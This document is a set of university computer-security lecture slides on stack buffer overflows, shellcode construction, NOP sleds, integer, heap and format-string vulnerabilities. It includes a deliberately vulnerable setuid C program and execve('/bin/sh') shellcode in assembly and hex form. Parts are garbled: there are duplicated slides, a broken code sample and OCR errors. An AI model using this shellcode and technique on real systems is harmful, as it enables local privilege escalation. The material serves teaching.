Buffer overflows & friends

CS642:
Computer Security

Professor Ristenpart

http://www.cs.wisc.edu/~rist/

rist at cs dot wisc dot edu
Homework 1 will be up by end of week

• Mean time:
  – brush up on x86 assembly
  – using GDB
  – Aleph One’s article on stack smashing
Low-level software security starts with buffer overflows (Gray Hat Hacking chapter 7)

C code, process layout, assembly recall

Buffer overflows on stack

Constructing an exploit buffer

Setting up exploit code

...
Running demo example (from Gray hat hacking w/ modifications)
Say this file, meet.c, is compiled setuid

Recall: setuid means it will run as root
```c
#include <stdio.h>
#include <string.h>

greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[] )
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Privilege escalation obtained!
Now we’ll see what happened
Process memory layout

.text 
  machine code of executable
.data 
  global initialized variables
.bss 
  “below stack section”
  global uninitialized variables

.heap 
  dynamic variables

.stack 
  local variables, track func calls

Env. 
  environment variables, arguments to program
The stack

Low memory addresses

stack pointer (ESP)

stack base pointer (EBP)

High memory addresses

local var1  EBP  EIP  Param1  Param2  caller local vars  ...

memory addresses
```c
int main(int argc, char* argv[]) {
    int p1;
    greeting( p1 );
}
```
greeting( int v1 ) {
  char name[400];
}

int main(int argc, char* argv[]) {
  int p1;
  greeting( p1 );
}
Smashing the stack

If temp2 has more than 400 bytes...

greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}
```c
#include <stdio.h>
#include <string.h>

void greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[] )
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Smashing the stack

Munging EBP
- When `greeting()` returns, stack corrupted because stack frame pointed to wrong address

Munging EIP
- When `greeting()` returns, will jump to address pointed to by the EIP value “saved” on stack
Smashing the stack

• Useful for denial of service (DoS)
• Better yet: control flow hijacking

When greeting() returns, jumps to address pointed to by ptr
Have it point back into buffer, system tries to execute buf as machine code

Low memory addresses

High memory addresses
Building an exploit sandwich

• Ingredients:
  – executable machine code
  – pointer to machine code
Building shell code

```c
#include <stdio.h>

void main() {
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
    exit(0);
}
```

Shell code from AlephOne

```asm
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1,%eax
movl $0x0,%ebx
int $0x80
/bin/sh string goes here.
```

Problem: we don’t know where we are in memory
Building shell code

jmp   offset-to-call   # 2 bytes
popl  %esi             # 1 byte
movl  %esi,array-offset(%esi) # 3 bytes
movl  $0x0,nullbyteoffset(%esi) # 4 bytes
movl  $0x0,null-offset(%esi)   # 7 bytes
movl  $0xb,%eax           # 5 bytes
movl  %esi,%ebx           # 2 bytes
leal  array-offset,(%esi),%ecx    # 3 bytes
leal  null-offset(%esi),%edx  # 3 bytes
int   $0x80              # 2 bytes
movl  $0x1, %eax          # 5 bytes
movl  $0x0, %ebx          # 5 bytes
int   $0x80              # 2 bytes
call  offset-to-popl     # 5 bytes
/bin/sh string goes here.
empty bytes             # 4 bytes
Building shell code

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

Another issue:
strncpy stops when it hits a NULL byte

Solution:
Alternative machine code that avoids NULLs
Building shell code

```c
char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh"
```

Another issue:
strcpy stops when it hits a NULL byte

Solution:
Alternative machine code that avoids NULLs

Mason et al., “English Shellcode”
www.cs.jhu.edu/~sam/ccs243-mason.pdf
This is a crude way of getting stack pointer
We can use a nop sled to make the arithmetic easier

Instruction “xchg %eax,%eax” which has opcode \x90

Land anywhere in NOPs, and we are good to go
We can use a nop sled to make the arithmetic easier

Instruction “xchg %eax,%eax” which has opcode \x90

Land anywhere in NOPs, and we are good to go

Can also add lots of copies of ptr at end
```c
#include <stdio.h>
#include <string.h>

void greeting( char* temp1, char* temp2 )
{
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf( "Hi %s %s\n", temp1, name );
}

int main(int argc, char* argv[]) 
{
    greeting( argv[1], argv[2] );
    printf( "Bye %s %s\n", argv[1], argv[2] );
}
```
Bad C library functions

- strcpy
- strcat
- scanf
- gets

- “More” safe versions: strncpy, strncat, etc.
  - These are not foolproof either!
Small buffers

What if 400 is changed to a small value, say 10?

```c
#include <stdio.h>
#include <string.h>

int main() {
    char name[400];
    memset(name, 0, 400);
    strcpy(name, temp2);
    printf("Hi %s %s
", temp1, name);
}
```

NOPs  jmp  more code  call popl  
"/bin/sh"  address of 
"/bin/sh"  ptr  ptr  ptr
Small buffers

Use an environment variable to store exploit buffer

```c
execve("meet", argv, envp)
envp = array of pointers to strings (just like argv)
```

- Normally, bash passes in this array from your shell’s environment
- you can also pass it in explicitly via execve()
Small buffers

Return address overwritten with ptr to environment variable

NOPs -> jmp -> more code -> call -> popl -> "/bin/sh" -> address of "/bin/sh"

Low memory addresses

Heap

Stack

Environmental variables

High memory addresses
There are other ways to inject code

• examples: .dtors (Gray Hat book), function pointers, ...

• dig around in Phrack articles ...
Integer overflows

```c
void func(int a, char v) {
    char buf[128];
    init(buf);
    buf[a] = v;
}
```

&buf[a] could be return address
# Integer overflows

```c
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]){
    unsigned short s;
    int i;
    char buf[80];
    if(argc < 3){
        return -1;
    }
    i = atoi(argv[1]);
    s = i;
    if(s >= 80) {
        /* [w1] */
        printf("Oh no you don't!\n");
        return -1;
    }
    printf("s = %d\n", s);
    memcpy(buf, argv[2], i);
    buf[i] = '\0';
    printf("%s\n", buf);
    return 0;
}
```

```
nova:signed {100} ./width1 5 hello
s = 5
hello

ova:signed {101} ./width1 80 hello
Oh no you don't!
ova:signed {102} ./width1 65536 hello
s = 0
Segmentation fault (core dumped)
```
Heap overflows

Low memory addresses

High memory addresses

.att text .data .bss heap stack Env.

attacker buffer attacker ptr

buf funcLon pointer a9acker a9acker ptr
Format-string vulnerabilities

`printf( const char* format, ... )`

`printf( “Hi %s %s”, argv[0], argv[1] )`

```c
void main(int argc, char* argv[]) {
    printf( argv[1] );
}
```

`argv[1] = “%s%s%s%s%s%s%s%s%s%s”`

Attacker controls format string gives all sorts of control

Can do control hijacking directly
1.1 Buffer Overflows vs. Format String Vulnerabilities

As with every vulnerability it was developed over time and new techniques have shown up often because old ones did not work in a certain situation. People who truly deserve credit for a lot of techniques mentioned in this article are tf8, portal, DiGiT, and smiler who wrote the first format string exploit ever, developed and researched exploitability in his excellent article 3, and who found most of the critical remote format string vulnerabilities known today. Although I have contributed some tricks toou without the giant help of comments and tricks v both theoretically or in form of an exploit v shown to me by this peopleu this article would not have been possible. Thanksw I also thank the numerous individuals who commentedu reviewed and improved this article.

Updated and corrected versions may appear on the TESO Security Group homepage.

---

<table>
<thead>
<tr>
<th></th>
<th>Buffer Overflow</th>
<th>Format String</th>
</tr>
</thead>
<tbody>
<tr>
<td>public since danger</td>
<td>mid 1980’s</td>
<td>June 1999</td>
</tr>
<tr>
<td>realized number of</td>
<td>1990’s</td>
<td>June 2000</td>
</tr>
<tr>
<td>exploits</td>
<td>a few thousand</td>
<td>a few dozen</td>
</tr>
<tr>
<td>considered as</td>
<td>security threat</td>
<td>programming bug</td>
</tr>
<tr>
<td>techniques</td>
<td>evolved and advanced</td>
<td>basic techniques</td>
</tr>
<tr>
<td>visibility</td>
<td>sometimes very difficult to spot</td>
<td>easy to find</td>
</tr>
</tbody>
</table>

From “Exploiting format string vulnerabilities”
Summary

• Classic buffer overflow
  – corrupt program control data
  – hijack control flow easily
• These were all local privilege escalation vulns
  – Similar concepts for remote vulnerabilities
• Defenses?